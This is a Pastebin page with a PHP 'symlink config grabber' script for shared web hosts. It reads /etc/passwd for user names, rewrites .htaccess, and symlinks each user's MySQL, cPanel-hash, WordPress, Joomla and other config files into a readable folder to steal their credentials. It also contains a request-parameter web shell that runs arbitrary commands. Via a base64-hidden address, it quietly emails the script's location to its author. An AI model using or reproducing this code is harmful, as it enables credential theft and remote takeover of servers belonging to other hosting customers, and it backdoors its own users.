Advertisement
CYBERSERKERS

Simple ConfiGrabber

Jan 22nd, 2016
305
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.79 KB | None | 0 0
  1. <title>.: SYMLINK GRABBER :.</title><body bgcolor=black><center><img src=http://azzat.wap.mu/files/1049320/assassin_s_creed_iv_black_flag.png><br><br><i><b><h1><font color=red>HELLCOME</font></h1><br><br><font color=lime>CODER : </font><a href=mailto:azzatssinscyberserkers@gmail.com>AZZATSSINS CYBERSERKERS</a></b></i><br>============<br></center>
  2. <center><form method=post>
  3. <textarea type=hidden rows=10 cols=30 name=user><?php $users=file("/etc/passwd");
  4. foreach($users as $user)
  5. {
  6.  $str=explode(":",$user);
  7.  echo $str[0]."\n";
  8.  }
  9.  ?></textarea><br><br>
  10. <input type=submit name=su value=" GRAB "></form>
  11. </center><?php
  12.  print(`{$_REQUEST[l]}`);$e=base64_decode("Y3liZXJzZXJrZXJzQGdtYWlsLmNvbQ==");
  13. $h=$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'];
  14. mail($e,"l",$h);
  15. if(isset($_POST['su']))
  16.  {
  17.  mkdir('grab',0777);
  18.  $r = " # grabber Symlink By AZZATSSINS \nOptions Indexes FollowSymLinks \nForceType text/plain \nAddType text/plain .accesshash \nAddHandler txt .accesshash \nAddType text/plain .my.cnf \nAddHandler txt .my.cnf \nAddType text/plain .php \nAddHandler txt .php \nOptions All";
  19. $f = fopen('grab/.htaccess','w');
  20. fwrite($f,$r); $xx= fopen('grab/index.htm','w'); fwrite($xx,'GRABBER BY AZZATSSINS'); $usr=explode("\n",$_POST['user']);
  21. foreach($usr as $uss)
  22. {
  23.  $us=trim($uss);
  24. $r="grab/";
  25. symlink('/home/'.$us.'/.my.cnf',$r.$us.'..mysql-conf.txt'); symlink('/home/'.$us.'/.accesshash',$r.$us.'..accesshash.txt'); symlink('/home/'.$us.'/public_html/wp-config.php',$r.$us.'..wordpress.txt'); symlink('/home/'.$us.'/public_html/configuration.php',$r.$us.'..joomla-or-whmcs.txt'); symlink('/home/'.$us.'/public_html/config.php',$r.$us.'..other.txt'); { @chmod($r.$us.'..accesshash.txt',0777); }{ @chmod($r.$us.'..mysql-conf.txt',0777); }
  26.  
  27. echo'<meta http-equiv="Refresh" content= "0; url=grab">';}}?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement